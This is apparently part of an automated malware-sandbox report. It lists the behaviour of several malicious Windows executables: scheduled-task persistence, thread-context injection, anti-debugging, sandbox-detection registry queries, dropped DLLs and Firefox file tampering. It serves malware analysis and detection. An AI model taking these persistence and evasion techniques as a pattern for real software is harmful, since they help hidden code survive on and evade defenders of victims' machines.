File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	RaHQuAK.exe
File opened for modification	C:\Windows\System32\Tasks\nMmJzTJTMvgDqJXEl	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\PowerControl LG	svchost.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\System32\Tasks\Firefox Default Browser Agent AAE89AC24523896C	svchost.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 16 IoCs

Processes:

7209643.scr7576774.scrELmkNGot1xqLUuo3BwIYbMWD.exepY_wDn8FGOHM6IwpAV2xsEfl.exe0FyG6eibBzsyIHKxbZFN7N2s.exewwl.exeschtasks.exewwi.exewi6Q8OpmIhQZPLTnGf2i4ckM.exe5343748.exe2102962.exe6bmOil5kPQtDDuy8EnUIWPil.exe4803149.scr6461779.scrCA92.exeD87D.exe

pid	process
648	7209643.scr
2684	7576774.scr
5508	ELmkNGot1xqLUuo3BwIYbMWD.exe
5728	pY_wDn8FGOHM6IwpAV2xsEfl.exe
6412	0FyG6eibBzsyIHKxbZFN7N2s.exe
7120	wwl.exe
6308	schtasks.exe
7004	wwi.exe
6832	wi6Q8OpmIhQZPLTnGf2i4ckM.exe
5324	5343748.exe
4888	2102962.exe
5316	6bmOil5kPQtDDuy8EnUIWPil.exe
4476	4803149.scr
7152	6461779.scr
8392	CA92.exe
4296	D87D.exe

Suspicious use of SetThreadContext 14 IoCs

Processes:

3781340.scrtmpE9F2_tmp.exesvchost.exenIzz2MT7R9vZWZ1n46kaQqqq.exeCwrwa2OnuYMrpTfVzpqKevNp.exe2PxE4GGl9DYY9cPBnPuTDeuD.exebwRPCmyyuAeF3udhCXK92Wuk.exeloCYxj9nt_WnT28KJk9m0uta.exe7546708.exepostback.exetmpAEE8_tmp.exeservices64.exe3C5B.exevtcehcr

description	pid	process	target process
PID 860 set thread context of 1128	860	3781340.scr	3781340.scr
PID 3356 set thread context of 1628	3356	tmpE9F2_tmp.exe	tmpE9F2_tmp.exe
PID 2556 set thread context of 4720	2556	svchost.exe	svchost.exe
PID 4280 set thread context of 6992	4280	nIzz2MT7R9vZWZ1n46kaQqqq.exe	nIzz2MT7R9vZWZ1n46kaQqqq.exe
PID 6404 set thread context of 4240	6404	Cwrwa2OnuYMrpTfVzpqKevNp.exe	RegSvcs.exe
PID 2300 set thread context of 6132	2300	2PxE4GGl9DYY9cPBnPuTDeuD.exe	2PxE4GGl9DYY9cPBnPuTDeuD.exe
PID 4308 set thread context of 1168	4308	bwRPCmyyuAeF3udhCXK92Wuk.exe	bwRPCmyyuAeF3udhCXK92Wuk.exe
PID 6300 set thread context of 5332	6300	loCYxj9nt_WnT28KJk9m0uta.exe	loCYxj9nt_WnT28KJk9m0uta.exe
PID 6868 set thread context of 5300	6868	7546708.exe	7546708.exe
PID 2748 set thread context of 4520	2748	postback.exe	explorer.exe
PID 7828 set thread context of 8144	7828	tmpAEE8_tmp.exe	tmpAEE8_tmp.exe
PID 5844 set thread context of 7728	5844	services64.exe	explorer.exe
PID 2968 set thread context of 2236	2968	3C5B.exe	3C5B.exe
PID 6948 set thread context of 2260	6948	vtcehcr	vtcehcr

Drops file in Program Files directory 30 IoCs

Processes:

reg.execmd.exeschtasks.exeRaHQuAK.exesetup_2.tmp

description	ioc	process
File opened for modification	C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe	reg.exe
File opened for modification	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	cmd.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\d.jfm	schtasks.exe
File created	C:\Program Files (x86)\gaSWcYIjjvwU2\AdCSyYkNpFRcU.dll	RaHQuAK.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\inst001.exe	reg.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\Uninstall.exe	reg.exe
File created	C:\Program Files (x86)\Company\NewProduct\d	schtasks.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\d.INTEG.RAW	schtasks.exe
File created	C:\Program Files (x86)\Company\NewProduct\d.jfm	schtasks.exe
File created	C:\Program Files\Mozilla Firefox\browser\features\{F656EA3B-F8E9-4CE5-AFDA-01494F9CEEFA}.xpi	RaHQuAK.exe
File created	C:\Program Files (x86)\FarLabUninstaller\is-DH8HE.tmp	setup_2.tmp
File created	C:\Program Files (x86)\Company\NewProduct\tmp.edb	schtasks.exe
File created	C:\Program Files (x86)\YceypsUXabDXnCzNCPR\JlmviXX.xml	RaHQuAK.exe
File created	C:\Program Files (x86)\NMbcPgNClKinC\gbIPsvc.dll	RaHQuAK.exe
File created	C:\Program Files (x86)\Company\NewProduct\Uninstall.ini	reg.exe
File created	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	cmd.exe
File created	C:\Program Files (x86)\STjmdXhOU\dSYNFc.dll	RaHQuAK.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	RaHQuAK.exe
File opened for modification	C:\Program Files (x86)\FarLabUninstaller\unins000.dat	setup_2.tmp
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	RaHQuAK.exe
File created	C:\Program Files (x86)\YceypsUXabDXnCzNCPR\kaQtDcx.dll	RaHQuAK.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{F656EA3B-F8E9-4CE5-AFDA-01494F9CEEFA}.xpi	RaHQuAK.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	RaHQuAK.exe
File created	C:\Program Files (x86)\gaSWcYIjjvwU2\tESueHF.xml	RaHQuAK.exe
File created	C:\Program Files (x86)\NMbcPgNClKinC\PKVZtrT.xml	RaHQuAK.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\cm3.exe	reg.exe
File created	C:\Program Files (x86)\FarLabUninstaller\unins000.dat	setup_2.tmp
File created	C:\Program Files (x86)\ZHcfdgyasGUn\pvsgTUA.dll	RaHQuAK.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\d	schtasks.exe
File created	C:\Program Files (x86)\STjmdXhOU\FHYkfFs.xml	RaHQuAK.exe

Drops file in Windows directory 8 IoCs

Processes:

schtasks.exesvchost.exeschtasks.exeschtasks.exeschtasks.exe

description	ioc	process
File created	C:\Windows\Tasks\xsEpqqHAgqAwsAroz.job	schtasks.exe
File opened for modification	C:\Windows\Tasks\xsEpqqHAgqAwsAroz.job	svchost.exe
File created	C:\Windows\Tasks\ArGDBXWmyYtLacf.job	schtasks.exe
File opened for modification	C:\Windows\Tasks\ArGDBXWmyYtLacf.job	svchost.exe
File created	C:\Windows\Tasks\nMmJzTJTMvgDqJXEl.job	schtasks.exe
File opened for modification	C:\Windows\Tasks\nMmJzTJTMvgDqJXEl.job	svchost.exe
File created	C:\Windows\Tasks\bRciptYQhTCMvEFWGJ.job	schtasks.exe
File opened for modification	C:\Windows\Tasks\bRciptYQhTCMvEFWGJ.job	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 20 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
1388	4448	WerFault.exe	Sun19de8ff4b6aefeb8.exe
4284	860	WerFault.exe	3781340.scr
5872	4448	WerFault.exe	Sun19de8ff4b6aefeb8.exe
2748	4448	WerFault.exe	Sun19de8ff4b6aefeb8.exe
504	2412	WerFault.exe	setup.exe
6684	4448	WerFault.exe	Sun19de8ff4b6aefeb8.exe
6796	2412	WerFault.exe	setup.exe
6276	2412	WerFault.exe	setup.exe
4004	4280	WerFault.exe	nIzz2MT7R9vZWZ1n46kaQqqq.exe
6436	3516	WerFault.exe	mqZAtDx1SQybmKzRvDk9vSly.exe
4628	2412	WerFault.exe	setup.exe
4520	3516	WerFault.exe	mqZAtDx1SQybmKzRvDk9vSly.exe
6076	2412	WerFault.exe	setup.exe
5344	3516	WerFault.exe	mqZAtDx1SQybmKzRvDk9vSly.exe
5352	2412	WerFault.exe	setup.exe
5680	3516	WerFault.exe	mqZAtDx1SQybmKzRvDk9vSly.exe
7408	2144	WerFault.exe	5.exe
8048	4448	WerFault.exe	Sun19de8ff4b6aefeb8.exe
7996	4448	WerFault.exe	Sun19de8ff4b6aefeb8.exe
7404	4448	WerFault.exe	Sun19de8ff4b6aefeb8.exe

Checks SCSI registry key(s) 3 TTPs 12 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

vtcehcr2PxE4GGl9DYY9cPBnPuTDeuD.exeforfiles.exeSun1908b94df837b3158.exe

description	ioc	process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	vtcehcr
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	vtcehcr
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	2PxE4GGl9DYY9cPBnPuTDeuD.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	2PxE4GGl9DYY9cPBnPuTDeuD.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	vtcehcr
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	2PxE4GGl9DYY9cPBnPuTDeuD.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	forfiles.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	forfiles.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	forfiles.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Sun1908b94df837b3158.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Sun1908b94df837b3158.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Sun1908b94df837b3158.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

svchost.exeVe704qxR6dWELrrDYFMDJv04.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Ve704qxR6dWELrrDYFMDJv04.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Ve704qxR6dWELrrDYFMDJv04.exe

Creates scheduled task(s) 1 TTPs 16 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	process
5232	schtasks.exe
7900	schtasks.exe
1928	schtasks.exe
7588	schtasks.exe
1356	schtasks.exe
8444	schtasks.exe
6428	schtasks.exe
3988	schtasks.exe
5576	schtasks.exe
6820	schtasks.exe
8152	schtasks.exe
8032	schtasks.exe
7100	schtasks.exe
8804	schtasks.exe
6328	schtasks.exe
6236	schtasks.exe

Delays execution with timeout.exe 4 IoCs
evasion

Processes:

timeout.exetimeout.exetimeout.exetimeout.exe

pid process

8480 timeout.exe
4516 timeout.exe
432 timeout.exe
7304 timeout.exe

pid	process
8480	timeout.exe
4516	timeout.exe
432	timeout.exe
7304	timeout.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

System Information Discovery

Processes:

rundll32.exeInstall.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe

Kills process with taskkill 3 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exe

pid process

5156 taskkill.exe
7832 taskkill.exe
4804 taskkill.exe

pid	process
5156	taskkill.exe
7832	taskkill.exe
4804	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 4 IoCs

adware spyware

Modify Registry

Processes:

FCREGSo.exeOneDriveSetup.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	FCREGSo.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	FCREGSo.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	OneDriveSetup.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\OneDrive.exe = "11000"	OneDriveSetup.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exepowershell.exeWMIC.execnk4wNzo39VsBflWRCRKKviU.exeConhost.exepowershell.exepowershell.exeConhost.exeRaHQuAK.exepowershell.exepowershell.exepowershell.exepowershell.exesvchost.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time"	WMIC.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-11 = "Azores Daylight Time"	WMIC.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-172 = "Central Standard Time (Mexico)"	WMIC.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2771 = "Omsk Daylight Time"	cnk4wNzo39VsBflWRCRKKviU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2842 = "Saratov Standard Time"	cnk4wNzo39VsBflWRCRKKviU.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	WMIC.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2042 = "Eastern Standard Time (Mexico)"	WMIC.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-92 = "Pacific SA Standard Time"	cnk4wNzo39VsBflWRCRKKviU.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	Conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	cnk4wNzo39VsBflWRCRKKviU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2391 = "Aleutian Daylight Time"	cnk4wNzo39VsBflWRCRKKviU.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	Conhost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	RaHQuAK.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2411 = "Marquesas Daylight Time"	cnk4wNzo39VsBflWRCRKKviU.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	Conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-232 = "Hawaiian Standard Time"	cnk4wNzo39VsBflWRCRKKviU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-492 = "India Standard Time"	cnk4wNzo39VsBflWRCRKKviU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1411 = "Syria Daylight Time"	cnk4wNzo39VsBflWRCRKKviU.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	Conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	cnk4wNzo39VsBflWRCRKKviU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-222 = "Alaskan Standard Time"	WMIC.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-491 = "India Daylight Time"	cnk4wNzo39VsBflWRCRKKviU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-215 = "Pacific Standard Time (Mexico)"	cnk4wNzo39VsBflWRCRKKviU.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	Conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2391 = "Aleutian Daylight Time"	WMIC.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-365 = "Middle East Standard Time"	cnk4wNzo39VsBflWRCRKKviU.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-772 = "Montevideo Standard Time"	cnk4wNzo39VsBflWRCRKKviU.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	RaHQuAK.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-448 = "Azerbaijan Daylight Time"	WMIC.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-632 = "Tokyo Standard Time"	cnk4wNzo39VsBflWRCRKKviU.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	cnk4wNzo39VsBflWRCRKKviU.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	cnk4wNzo39VsBflWRCRKKviU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2371 = "Easter Island Daylight Time"	WMIC.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	Conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	cnk4wNzo39VsBflWRCRKKviU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-81 = "Atlantic Daylight Time"	WMIC.exe

Modifies registry class 64 IoCs

Processes:

OneDriveSetup.exesvchost.exeFileSyncConfig.exe

description	ioc	process
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\WOW6432NODE\INTERFACE\{5D65DD0D-81BF-4FF4-AEEA-6EFFB445CB3F}\PROXYSTUBCLSID32	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{389510b7-9e58-40d7-98bf-60b911cb0ea9}\ProgID	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{869BDA08-7ACF-42B8-91AE-4D8D597C0B33}	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\WOW6432NODE\CLSID\{71DCE5D6-4B57-496B-AC21-CD5B54EB93FD}\LOCALSERVER32	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{0776ae27-5ab9-4e18-9063-1836da63117a}\TypeLib	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\SyncEngineCOMServer.SyncEngineCOMServer.1	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{b5c25645-7426-433f-8a5f-42b7ff27a7b2}	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\INTERFACE\{2387C6BD-9A36-41A2-88ED-FF731E529384}\PROXYSTUBCLSID32	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\INTERFACE\{F0440F4E-4884-4A8F-8A45-BA89C00F96F2}\TYPELIB	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{A3CA1CF4-5F3E-4AC0-91B9-0D3716E1EAC3}\VersionIndependentProgID	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{47E6DCAF-41F8-441C-BD0E-A50D5FE6C4D1}\LocalServer32	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{A926714B-7BFC-4D08-A035-80021395FFA8}\ProgID	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{C5FF006E-2AE9-408C-B85B-2DFDD5449D9C}	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\FileSyncClient.AutoPlayHandler.1\CLSID	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{2B865677-AC3A-43BD-B9E7-BF6FCD3F0596}\ProxyStubClsid32	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{917E8742-AA3B-7318-FA12-10485FB322A2}\LocalServer32	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{0f872661-c863-47a4-863f-c065c182858a}\ProxyStubClsid32	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\TypeLib\{BAE13F6C-0E2A-4DEB-AA46-B8F55319347C}\1.0\ = "SyncEngine Type Library"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\CLSID\{94269C4E-071A-4116-90E6-52E557067E4E}\ProgID	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{917E8742-AA3B-7318-FA12-10485FB322A2}\LocalServer32\ = "\"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\21.160.0808.0002\\Microsoft.SharePoint.exe\""	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{A3CA1CF4-5F3E-4AC0-91B9-0D3716E1EAC3}\ = "SyncEngineStorageProviderHandlerProxy Class"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{2B865677-AC3A-43BD-B9E7-BF6FCD3F0596}	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{ACDB5DB0-C9D5-461C-BAAA-5DCE0B980E40}	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{da82e55e-fa2f-45b3-aec3-e7294106ef52}	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{0d4e4444-cb20-4c2b-b8b2-94e5656ecae8}\TypeLib	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{049FED7E-C3EA-4B66-9D92-10E8085D60FB}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	OneDriveSetup.exe
